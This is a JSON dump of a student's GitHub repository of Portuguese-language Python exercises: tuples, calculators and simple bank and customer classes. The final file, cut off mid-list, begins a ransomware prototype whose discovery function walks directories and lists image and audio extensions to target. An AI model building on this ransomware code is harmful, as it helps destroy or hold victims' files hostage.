\"/Curso-Em-Video/M3/tuplas.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n\\\"\\\"\\\"\\nTuplas são variaveis compostas imutaveis, que iniciadas com ()\\n ex: lanche = ['pudin', 'pizza', 'suco','sanduiche']\\n\\n * os metodos de fatiamentos usados em strings podem ser usados em tuplas ex:\\n -> print(lanche[1:]) -> comece do suco até o fim da tupla\\n 'pizza', 'suco','sanduiche'\\n -> print(lanche[0:2]) -> vai so do zero até o 1 (o ultimo sempre é ignorado no python)\\n 'pudin', 'pizza'\\n -> print(lanche[2]) -> mostra o segundo elemento da tupla\\n 'suco'\\n -> len(lanche)-> mostra o comprimento da tupla.\\n -> podemos somar tuplas.\\n -> count(x) mostra quantos vezes 'x' aparece na tupla\\n -> lanche.index(x) -> mostra a posição de 'x'.\\n -> del(x) -> deleta uma tupla inteira.\\n *Podemos usar as tuplas em estruturas de repetição.\\n |for c in lanche:|\\n ex: | print (c)i |-> para cada comida em lanche ele irá mostrar uma comida de cada vez\\n | |\\n * Além do for podemos utilizar o enumerate para capta o conteudo e a posição.\\n ex: for posicao,comida in enumerate(lanche)\\n\\\"\\\"\\\"\\n#--------------------------TESTES------------------------------------------\\nlanche = ('sanduiche','suco','Pizza','pudim')\\n#print(lanche)\\n#print(lanche[1])\\n#print(lanche[-2]) -> mostra o sengundo da direita para a esquerda\\n#print(lanche[1:3])\\n#print(lanche[:2])\\n#print(lanche[-3:])\\n#print(sorted(lanche)) -> mostra na ordem\\n\"\n },\n {\n \"alpha_fraction\": 0.4808429181575775,\n \"alphanum_fraction\": 0.5191571116447449,\n \"avg_line_length\": 20.75,\n \"blob_id\": \"5180df8aca04e3c317815d2368f891c5c1d83537\",\n \"content_id\": \"7482fa23f342e3dbef348734e074deafbf192e7c\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 522,\n \"license_type\": \"permissive\",\n \"max_line_length\": 49,\n \"num_lines\": 24,\n \"path\": \"/Curso-Em-Video/M2/ex71.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nprint('-------Banco-------')\\nvalor = int(input('Digite quanto quer sacar: '))\\ntotal = valor\\ncin = 50\\ntotdez = 0\\ntotum = 0\\ntotcin= 0\\nwhile True:\\n if total >= 50:\\n total -= 50\\n totcin +=1\\n if total >= 10:\\n total -= 10\\n totdez +=1\\n if total >= 1:\\n total -=1\\n totum +=1\\n if total ==0:\\n break\\nprint(f'\\\\n O total de cedulas utilizadas foram: '\\n f'\\\\n {totcin} de cinquenta reais'\\n f'\\\\n {totdez} de dez reais'\\n f'\\\\n {totum} de um real')\\n\"\n },\n {\n \"alpha_fraction\": 0.661577582359314,\n \"alphanum_fraction\": 0.6715436577796936,\n \"avg_line_length\": 47.132652282714844,\n \"blob_id\": \"db08b035bd1f223438d6ec0db49d216d2d7f90ad\",\n \"content_id\": \"abe1eabb64d512d9c4c303631e11b9cbab515be5\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 4761,\n \"license_type\": \"permissive\",\n \"max_line_length\": 117,\n \"num_lines\": 98,\n \"path\": \"/Paradigmas_Program/aula04.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\" CEUB - Bacharelado em Ciência da Computação - Prof. Barbosa\\nTeclas de atalho: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha.\\n\\n- Implemente as classes necessárias para realizar a manutenção de um cliente.\\nPrecisamos trabalhar com as seguintes características de cliente:\\nNome, idade e seus endereços, ou seja, cada cliente pode ter mais de um endereço.\\n\\n- Implemente:\\n1- Crie a classe Cliente com os atributos nome, idade e endereços\\n- Crie os métodos gets\\n- Crie um objeto da classe Cliente, teste\\n- Crie a classe Endereco com os atributos cidade e estado\\n5- Crie os métodos gets\\n- Insira um endereço para o cliente:\\n Na classe Cliente, crie o método insere_endereco, ele recebe duas strings e cria o objeto da classe Endereco, teste\\n- Na classe Cliente, crie o método mostra_enderecos, teste\\n- Crie mais um cliente e insira dois endereços pra ele, teste\\n- Na classe Cliente, crie o método insere_endereco2, ele recebe um objeto da classe Endereco, teste\\n10- Crie o método mostra_enderecos2 para Melhorar o layout do método , antes de mostrar\\n todos os endereços, ele deve mostrar também o nome do cliente, teste.\\n- Chame o método mostra_enderecos antes de inserir os endereços, ou seja, no início do método main.\\n Se não tiver endereços cadastrados, mostre a mensagem \\\"Cliente não tem endereço cadastrado\\\".\\n12- Crie um método para remover um endereço de um cliente, teste.\\n13- Altere o endereço de um cliente, ele continua no mesmo estado, mas mudou de cidade, teste.\\n\\\"\\\"\\\"\\n\\n\\nclass Cliente: # class Cliente(object): # Nome de classe no singular, pois é um modelo\\n def __init__(self, nome, idade):\\n self.nome = nome\\n self.idade = idade\\n self.enderecos = [] # Nome de lista no plural, pode ter vários conteúdos\\n def get_nome(self):\\n return self.nome\\n def get_idade(self):\\n return self.idade\\n def insere_endereco(self, cidade, estado): # Recebe duas strings\\n o_endereco = Endereco(cidade, estado) # Chama o construtor da classe Endereco\\n self.enderecos.append(o_endereco)\\n # self.enderecos.append(Endereco(cidade, estado)) # Equivalente as duas anteriores\\n def mostra_enderecos(self):\\n print(f'- Endereços do cliente:')\\n for o_endereco in self.enderecos: # Percorre a lista self.enderecos\\n print(o_endereco.get_cidade(), o_endereco.get_estado())\\n def insere_endereco2(self, o_endereco): # Recebe um objeto da classe Endereco\\n self.enderecos.append(o_endereco)\\n def mostra_enderecos2(self):\\n print(f'- Endereços do cliente {self.nome}')\\n for o_endereco in self.enderecos:\\n print(o_endereco.get_cidade(), o_endereco.get_estado())\\n def mostra_enderecos3(self):\\n if self.enderecos == []: # if len(self.enderecos) == 0: # if not self.enderecos:\\n print(\\\"Cliente não tem endereço cadastrado\\\")\\n else:\\n print(f'- Endereços do cliente {self.nome}')\\n for o_endereco in self.enderecos:\\n print(o_endereco.get_cidade(), o_endereco.get_estado())\\n def remove_endereco(self, o_endereco):\\n self.enderecos.remove(o_endereco)\\n\\n\\nclass Endereco(object):\\n def __init__(self, cidade, estado):\\n self.cidade = cidade\\n self.estado = estado\\n\\n def get_cidade(self):\\n return self.cidade\\n\\n def get_estado(self):\\n return self.estado\\n\\n\\nif __name__ == '__main__':\\n cliente1 = Cliente('Luis', 32) # Chama o construtor (__init__) da classe Cliente\\n print('- Nome:', cliente1.get_nome())\\n print('Idade:', cliente1.get_idade())\\n cliente1.mostra_enderecos3()\\n cliente1.insere_endereco('Belo Horizonte', 'MG')\\n print('- Nome:', cliente1.get_nome())\\n cliente1.mostra_enderecos()\\n cliente2 = Cliente('Maria', 44)\\n cliente2.insere_endereco('Salvador', 'BA')\\n cliente2.insere_endereco('Rio de Janeiro', 'RJ') # Chama o método passando duas strings\\n print('- Nome:', cliente2.get_nome())\\n cliente2.mostra_enderecos()\\n endereco = Endereco('Brasília', 'DF') # Chama o construtor (__init__) da classe Endereco\\n cliente2.insere_endereco2(endereco) # Chama o método passando um objeto\\n print('- Nome:', cliente2.get_nome())\\n cliente2.mostra_enderecos()\\n cliente2.mostra_enderecos2() # Equivalente as duas linhas anteriores\\n # Cria o cliente 3\\n cliente3 = Cliente('João', 19)\\n cliente3.insere_endereco('São Paulo', 'SP')\\n print('- Nome:', cliente3.get_nome())\\n cliente3.mostra_enderecos()\\n cliente3.mostra_enderecos2() # Equivalente as duas linhas anteriores\\n cliente2.remove_endereco(endereco)\"\n },\n {\n \"alpha_fraction\": 0.5860273838043213,\n \"alphanum_fraction\": 0.6200000047683716,\n \"avg_line_length\": 44.074073791503906,\n \"blob_id\": \"9f67d565658f49607f2dce62d54d1e6efd102971\",\n \"content_id\": \"c859a1e590213e633fcf6485b2eca06e2359bd32\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 3679,\n \"license_type\": \"permissive\",\n \"max_line_length\": 114,\n \"num_lines\": 81,\n \"path\": \"/Paradigmas_Program/aula01.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\" CEUB - Ciência da Computação - Prof. Barbosa\\nAtalho de teclado: ctlr <d>, duplica linha. ctrl <y>, apaga linha. ctrl </>, comenta linha\\n\\n- Valor default\\nQuando declaramos as variáveis na classe Conta, aprendemos que podemos atribuir um valor padrão\\npara cada uma delas. Então, atribuo um valor padrão ao limite, por exemplo, 1000.0 reais.\\n\\nImplemente:\\n1- Crie a classe Conta com os atributos numero, nome_cliente, saldo, limite.\\n- Crie os métodos gets e sets.\\n- Crie um objeto da classe Conta passando os dados\\n- Mostre o endereço do objeto conta criado\\n5- Consulte e mostre os dados da conta\\n6- Altere o nome do cliente do objeto Conta, teste.\\n- Faça um depósito, teste.\\n8- Faça um saque, teste.\\n- Faça uma transferência, teste.\\n10- Consulte um extrato com os dados: nome, número e saldo da conta\\n- Use o método __class__ no objeto cliente\\n- Use o método __class__.__name__ no objeto cliente\\n- Mostre os atributos do objeto cliente com o método __dict__\\n14- Mostre os atributos do objeto cliente com o método vars \\\"\\\"\\\"\\nclass Conta:\\n def __init__(self, numero, nome_cliente, saldo, limite=1000.0):\\n self.numero = numero\\n self.titular = nome_cliente\\n self.saldo = saldo\\n self.limite = limite\\n def get_titular(self):\\n return self.titular\\n def set_titular(self, nome):\\n self.titular = nome\\n def get_saldo(self):\\n return self.saldo\\n def get_numero(self):\\n return self.numero\\n def deposito(self, valor):\\n self.saldo += valor # self.saldo = self.saldo + valor\\n def saque(self, valor):\\n if self.saldo + self.limite < valor:\\n print('Saldo insuficiente.')\\n return False\\n else:\\n self.saldo -= valor\\n print('Saque realizado.')\\n return True\\n def transfere_para(self, destino, valor):\\n retirou = self.saque(valor)\\n if not retirou: # if retirou == False:\\n print('Transferência não realizada')\\n return False\\n else:\\n destino.deposito(valor)\\n print('Transferência realizada com sucesso')\\n return True\\n def extrato(self):\\n # print(\\\"Extrato:\\\\nNome: {}, Número: {}, Saldo: {}\\\".format(self.titular, self.numero, self.saldo))\\n print(f\\\"Extrato:\\\\nNome: {self.titular}, Número: {self.numero}, Saldo: {self.saldo}\\\")\\nif __name__ == '__main__': # mai <tab>\\n conta1 = Conta('123-4', 'João', 1200.0, 1000.0) # Chama o contrutor (__init__)\\n print(conta1)\\n # <conta_agregacao.Conta object at 0x000002B9DBA4AF70>\\n print('Nome:', conta1.get_titular()) # Consulta nome_objeto.nome_metodo()\\n print('Número:', conta1.get_numero())\\n conta1.set_titular('Ana') # Altera o nome do cliente\\n print('Nome:', conta1.get_titular())\\n conta1.deposito(200)\\n print('Saldo:', conta1.get_saldo())\\n conta1.saque(100)\\n print('Saldo:', conta1.get_saldo())\\n conta2 = Conta('923-4', 'Ailton', 2000.0, 1000.0) # Chama o contrutor (__init__)\\n print(conta1)\\n conta1.transfere_para(conta2, 200) # Transferência da conta1 para a conta2\\n conta1.transfere_para(conta2, 4000) # Transferência da conta1 para a conta2\\n conta1.extrato()\\n conta2.extrato()\\n print('Método especiais:')\\n print(conta1.__class__) # <class '__nain__.Conta'>\\n print(conta1.__class__.__name__) # Conta\\n print(conta1.__dict__) # {'numero': '123-4', 'titular': 'Ana', 'saldo': 1100.0, 'limite': 1000.0}\\n print(vars(conta1)) # {'numero': '123-4', 'titular': 'Ana', 'saldo': 1100.0, 'limite': 1000.0}\"\n },\n {\n \"alpha_fraction\": 0.4552238881587982,\n \"alphanum_fraction\": 0.5268656611442566,\n \"avg_line_length\": 34.26315689086914,\n \"blob_id\": \"2703f371964aeeadd003c90a367e9084ab4cda38\",\n \"content_id\": \"2f967e381cf2a87d0cdfa172f4959d9d0d1d0918\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 674,\n \"license_type\": \"permissive\",\n \"max_line_length\": 116,\n \"num_lines\": 19,\n \"path\": \"/Curso-Em-Video/M3/ex76.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nlistagem = ('lapis',1.75,\\n 'Borracha',2,\\n 'Caderno',15.90,\\n 'Estojo',25,\\n 'Transferidor',4.20,\\n 'Compasso',9.99,\\n 'Mochila',120.32,\\n 'Caneta',22.30,\\n 'Livro',34.90)\\nprint('-' * 40)\\nprint(f'{\\\"LISTAGEM DE PREÇOS\\\":^40}')\\nprint(f'-' * 40)\\nfor pos in range(0,len(listagem)):\\n if pos % 2 ==0: #veja a tupla a cima e perceba que o nome dos produtos estão sempre em posições pares\\n print(f'{listagem[pos]:.<30}', end='')# '.<30' -> alinhado a esquerda com 30 caracteres ocupados com pontos \\n else:\\n print(f'R${listagem[pos]:>7}')\\nprint('-' * 40)\\n\"\n },\n {\n \"alpha_fraction\": 0.5183486342430115,\n \"alphanum_fraction\": 0.5481651425361633,\n \"avg_line_length\": 32.53845977783203,\n \"blob_id\": \"8f8e209d67ed56caa0d1519542c75913bbafda79\",\n \"content_id\": \"1c8b1f44e167dd35b92226b9697c6d032c22daa5\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 440,\n \"license_type\": \"permissive\",\n \"max_line_length\": 79,\n \"num_lines\": 13,\n \"path\": \"/Curso-Em-Video/M3/ex72.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\ncont = ('zero','Um','Dois','Três','Quatro','Cinco','Seis','Sete','Oito','Nove',\\n 'Dez','Onze','Doze','Treze','Quatorze','Quinze','Dezenove','Vinte')\\n\\nn = int(input('Digite um número de 0 a 20: '))\\n\\nif n > 20:\\n while n>20:\\n n = int(input('Por favor digite apenas números de 0 a 20'))\\nif n <= 20:\\n for posi,ext in enumerate(cont):\\n if posi == n:\\n print(f'Você digitou {ext}')\\n\"\n },\n {\n \"alpha_fraction\": 0.604938268661499,\n \"alphanum_fraction\": 0.6327160596847534,\n \"avg_line_length\": 35,\n \"blob_id\": \"1aa1dcd09661ca61ebb5a841adfb7bee1ac162f8\",\n \"content_id\": \"88bf50c7564d98864ad01d5f1d15887aa2eb94a8\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 325,\n \"license_type\": \"permissive\",\n \"max_line_length\": 111,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M1/ex29.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nvel = int(input('Qual foi a velocidade registrada? '))\\nlim = 80\\nif vel < 80:\\n print(f'Ele estava a {vel}Km/h e não ultrapassou o limite.')\\nelse:\\n vel2= vel - lim\\n multa= vel2 * 7\\n print(f'Ele estava a {vel}Km/h a {vel2}Km/h acima do limite, portanto deve pagar uma multa de R${multa} ')\\n\"\n },\n {\n \"alpha_fraction\": 0.5235849022865295,\n \"alphanum_fraction\": 0.5825471878051758,\n \"avg_line_length\": 23.882352828979492,\n \"blob_id\": \"1f4a96a35432b269488c178340325a8a9f63c9fa\",\n \"content_id\": \"ecf17b141e2e4375a960bdb96019fa6fdc95cebc\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 430,\n \"license_type\": \"permissive\",\n \"max_line_length\": 44,\n \"num_lines\": 17,\n \"path\": \"/Curso-Em-Video/M1/ex33.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn1 = int(input('Digite o primeiro valor: '))\\nn2 = int(input('Digite o segundo valor: '))\\nn3 = int(input('Digite o terceiro valor: '))\\n\\nmaior = 0\\nmenor =99999\\n\\nif (n1 > n2) and (n1 > n3):\\n maior = n1\\n print(f'O maior número é {maior}')\\nif(n2 > n1) and(n2> n3):\\n maior = n2\\n print(f'O maior número é {maior}')\\nif (n3 > n2)and(n3 >n1):\\n maior = n3\\n print(f'O maior número é {maior}')\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.6131687164306641,\n \"alphanum_fraction\": 0.6296296119689941,\n \"avg_line_length\": 33.71428680419922,\n \"blob_id\": \"ee64d975bffef4909cdb0e8eecf416450b355dd6\",\n \"content_id\": \"90155e94967a5fb019acb581edd8c9ce22cb5a51\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 248,\n \"license_type\": \"permissive\",\n \"max_line_length\": 101,\n \"num_lines\": 7,\n \"path\": \"/Curso-Em-Video/M1/ex18.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nimport math\\nn = float(input('Digite o ângulo que você deseja: '))\\ncos =math.cos(n)\\nsen =math.sin(n)\\ntan =math.tan(n)\\nprint(f' O ângulo de {n}º tem o SENO: {sen:.2f}\\\\n e o COSSENO {cos:.2f}\\\\n e a tângente de {tan:.2f}')\\n\"\n },\n {\n \"alpha_fraction\": 0.4268292784690857,\n \"alphanum_fraction\": 0.4695121943950653,\n \"avg_line_length\": 11.615385055541992,\n \"blob_id\": \"bb9f9a5b64a473adb5365e8bcf3ae54dc562b25f\",\n \"content_id\": \"c5d7f6fc9701bd415c2709a24a9015da6b71db99\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 164,\n \"license_type\": \"permissive\",\n \"max_line_length\": 17,\n \"num_lines\": 13,\n \"path\": \"/curso_monitoria/continue2.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"print()\\nprint(\\\"inicio\\\")\\ni = 0\\nwhile(i<10):\\n i += 1\\n if(i%2==0):\\n continue\\n if(i>5):\\n break\\n print(i)\\nelse:\\n print(\\\"else\\\")\\nprint(\\\"fim\\\")\\n\"\n },\n {\n \"alpha_fraction\": 0.6125907897949219,\n \"alphanum_fraction\": 0.6464890837669373,\n \"avg_line_length\": 33.41666793823242,\n \"blob_id\": \"fc4f8ec72bc81869bf8ef0f4ff193eda238d52fa\",\n \"content_id\": \"309d1ebe81bd12de2ed7aecc6605909f57409022\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 420,\n \"license_type\": \"permissive\",\n \"max_line_length\": 76,\n \"num_lines\": 12,\n \"path\": \"/Curso-Em-Video/M2/ex40.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn1 = float(input('Digite a primeira nota: '))\\nn2 = float(input('Digite a segunda nota: '))\\n\\nmedia = (n1+n2)/2\\n\\nif media < 5.0:\\n print(f'A média do aluno foi {media} portanto está reprovado!')\\nelif media >= 5.0 and media < 6.9:\\n print(f'A média do aluno foi {media} portanto ele está de recuperação!')\\nelif media >= 7.0:\\n print(f'A media do aluno foi:{media} ele está aprovado! ')\\n\"\n },\n {\n \"alpha_fraction\": 0.5096153616905212,\n \"alphanum_fraction\": 0.5432692170143127,\n \"avg_line_length\": 22.11111068725586,\n \"blob_id\": \"11aa67fc3ffe6165874c8c253327b57018af15bc\",\n \"content_id\": \"c89458539e150b29aa9c0a5a9787801a4620cddd\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 209,\n \"license_type\": \"permissive\",\n \"max_line_length\": 49,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M2/ex61.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\na1 =int(input('Digite o primeiro termo da PA: '))\\nr =int(input('Digite a razão: '))\\ntermo = a1\\ncont = 1\\nwhile cont<= 10:\\n print(f'{termo} => ', end=' ')\\n termo += r\\n cont +=1\\n\"\n },\n {\n \"alpha_fraction\": 0.5885714292526245,\n \"alphanum_fraction\": 0.6228571534156799,\n \"avg_line_length\": 34,\n \"blob_id\": \"49e83e16fe5db32c22d04b93d20a8e78c5b32b7b\",\n \"content_id\": \"b6112df5ffe76c563bd9d8f7616e251d085a47a7\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 176,\n \"license_type\": \"permissive\",\n \"max_line_length\": 45,\n \"num_lines\": 5,\n \"path\": \"/Curso-Em-Video/M1/ex07.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nn1 = int(input(\\\"Digite a primeira nota: \\\"))\\nn2 = int(input(\\\"Digite a segunda nota: \\\"))\\nmedia = (n1+n2)/2\\nprint(f'A média final do aluno foi: {media}')\\n\"\n },\n {\n \"alpha_fraction\": 0.5963302850723267,\n \"alphanum_fraction\": 0.5963302850723267,\n \"avg_line_length\": 26.25,\n \"blob_id\": \"520b35f769343708c145812b8f69b550ba16eee8\",\n \"content_id\": \"f5af39997404de4051ff64c2ea83184cf064d83d\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 436,\n \"license_type\": \"permissive\",\n \"max_line_length\": 53,\n \"num_lines\": 16,\n \"path\": \"/PythonPOO/Composicao/classes.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"class Cliente:\\n def __init__(self, nome, idade):\\n self.nome = nome\\n self.idade = idade\\n self.endereco = []\\n\\n def insere_enderecos(self, cidade, estado):\\n self.endereco.append(Endereco(cidade,estado))\\n\\n def lista_enderecos(self):\\n for endereco in self.endereco:\\n pass\\nclass Endereco:\\n def __init__(self, cidade, estado):\\n self.cidade = cidade\\n self.estado = estado\\n\"\n },\n {\n \"alpha_fraction\": 0.5584415793418884,\n \"alphanum_fraction\": 0.6883116960525513,\n \"avg_line_length\": 25,\n \"blob_id\": \"28c5e0d971b5006ba9b8ad94c939221eb153f20a\",\n \"content_id\": \"aa8e4be7810f45ebc0dcd76eddfcc780818fd521\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 77,\n \"license_type\": \"permissive\",\n \"max_line_length\": 38,\n \"num_lines\": 3,\n \"path\": \"/Curso-Em-Video/M3/ex112.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import mod112\\np = float(input('Digite o preco: R$'))\\nmod112.resumo(p, 80 ,35)\"\n },\n {\n \"alpha_fraction\": 0.7166666388511658,\n \"alphanum_fraction\": 0.7166666388511658,\n \"avg_line_length\": 29.100000381469727,\n \"blob_id\": \"c9631d56de635be5d34f88058e698a8e4537220d\",\n \"content_id\": \"0e0c41a24c8d95773a29b57af0a28d0633cd0d8a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 304,\n \"license_type\": \"permissive\",\n \"max_line_length\": 57,\n \"num_lines\": 10,\n \"path\": \"/Curso-Em-Video/M3/ex114.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"import urllib\\nimport urllib.request\\n\\ntry:\\n site = urllib.request.urlopen('http://pudim.com.br/')\\nexcept urllib.error.URLError:\\n print('O site Pudm não está disponivel no momento. ')\\nelse:\\n print('Consegui acessar o site pudim com sucesso!')\\n print(site.read()) #lê o conteúdo HTML do site\"\n },\n {\n \"alpha_fraction\": 0.6843658089637756,\n \"alphanum_fraction\": 0.6858407258987427,\n \"avg_line_length\": 31.285715103149414,\n \"blob_id\": \"826eeac5f9fc49e6b0d8b2958f474233d05edb28\",\n \"content_id\": \"6f4886fe7f1f914149213456edb9eb22bfe8a8d4\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1375,\n \"license_type\": \"permissive\",\n \"max_line_length\": 122,\n \"num_lines\": 42,\n \"path\": \"/Curso-Em-Video/M3/tratando_erros.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"\\\"\\\"\\\"\\n# Tratamento de erros\\n- Erros de semantica são extremamente comuns, devido a erros ou mau uso do programa por parte do usúario ou por desatenção\\ndo programador, para resolver isso usamos o \\\"try\\\" da seguinte maneira:\\n\\n try:\\n codigo x\\n except:\\n retorno\\n\\n- Onde o código x é o bloco que o programa tentará execultar e o retorno é a menssagem de erro para o usuario, isso\\nque o programa \\\"trave\\\" e fique inútilizado para o usúario\\n\\n\\\"\\\"\\\"\\n# Exemplo\\n\\\"\\\"\\\"\\ntry:\\n a = int(input('Numerador: '))\\n b = int(input('Denominador: '))\\n r = a / b\\nexcept Exception as erro: # podemos ter varios exeptions para varios tipos de erros\\n print(f'Problema encontrado foi: {erro.__class__}')\\nelse:\\n print(f'O resultado é {r}')\\nfinally: # -> o que vai ocorrer sempre independente de ocorrido um erro ou não\\n print('Volte sempre!')\\n\\\"\\\"\\\"\\n# Exemplo2\\ntry:\\n a = int(input('Numerador: '))\\n b = int(input('Denominador: '))\\n r = a / b\\nexcept (ValueError, TypeError):\\n print(f'Tivemos um problema com os tipos de dados que você digitou!')\\nexcept(ZeroDivisionError):\\n print('Não é possivel dividir por zero!')\\nexcept KeyboardInterrupt:\\n print('O usúario preferiu não informar os dados! ')\\nelse:\\n print(f'O resultado é {r:1.f}')\\nfinally: # -> o que vai ocorrer sempre independente de ocorrido um erro ou não\\n print('Volte sempre!')\\n\"\n },\n {\n \"alpha_fraction\": 0.5492424368858337,\n \"alphanum_fraction\": 0.5871211886405945,\n \"avg_line_length\": 28.33333396911621,\n \"blob_id\": \"ce0a1c743e05a648e0a5f1bc2c159870531fc2cd\",\n \"content_id\": \"1c741e8a11f5448b30090f27d461cd096c24418a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 266,\n \"license_type\": \"permissive\",\n \"max_line_length\": 59,\n \"num_lines\": 9,\n \"path\": \"/Curso-Em-Video/M1/ex31.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\nkm = int(input('Digite a distancia da viagem em Km: '))\\n\\nif km < 200:\\n preco = km * 0.50\\n print(f'O valor total da viagem de {km}Km é R${preco}')\\nelse:\\n preco = km * 0.45\\n print(f'O valor total da viagem de {km}Km é R${preco}')\\n\"\n },\n {\n \"alpha_fraction\": 0.7111111283302307,\n \"alphanum_fraction\": 0.7666666507720947,\n \"avg_line_length\": 23.636363983154297,\n \"blob_id\": \"aecda206fbcabffff683074cdbca8aa89d729d93\",\n \"content_id\": \"92d4a881c7e584de5bf84b7d8fbf318b0ca3538a\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 270,\n \"license_type\": \"permissive\",\n \"max_line_length\": 44,\n \"num_lines\": 11,\n \"path\": \"/PythonPOO/Agregação /main.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from classes import CarrinhoCompras, Produto\\ncarrinho = CarrinhoCompras()\\n\\np1 = Produto('Camisa',50)\\np2 = Produto('iphone',10000)\\np13 = Produto('Caneca',20)\\n\\ncarrinho.inserir_produto(p1)\\ncarrinho.inserir_produto(p2)\\ncarrinho.lista_produto()\\nprint(carrinho.soma_total())\"\n },\n {\n \"alpha_fraction\": 0.575272262096405,\n \"alphanum_fraction\": 0.5816783905029297,\n \"avg_line_length\": 47.78125,\n \"blob_id\": \"7d8b561375a70d4fffcdb611c16001aae0e73025\",\n \"content_id\": \"32867f95ad44e1ff067ff77e262a9b813b697fdd\",\n \"detected_licenses\": [\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1568,\n \"license_type\": \"permissive\",\n \"max_line_length\": 117,\n \"num_lines\": 32,\n \"path\": \"/Ransomwares/ex01/discovery.py\",\n \"repo_name\": \"Italo-Neves/Python\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/python3.7\\n#prototipo\\nimport os\\ndef discover(initial_path):\\n extensions =[#'exe,', 'dll', 'so', 'rpm', 'deb', 'vmlinuz', 'img' Arquivos do Sitema\\n\\t'jpg','jpeg','bmp','gif','png','svg','psd','raw', # imagens\\n\\t'mp3','mp4','m4a','aac','ogg', 'flac','wav', 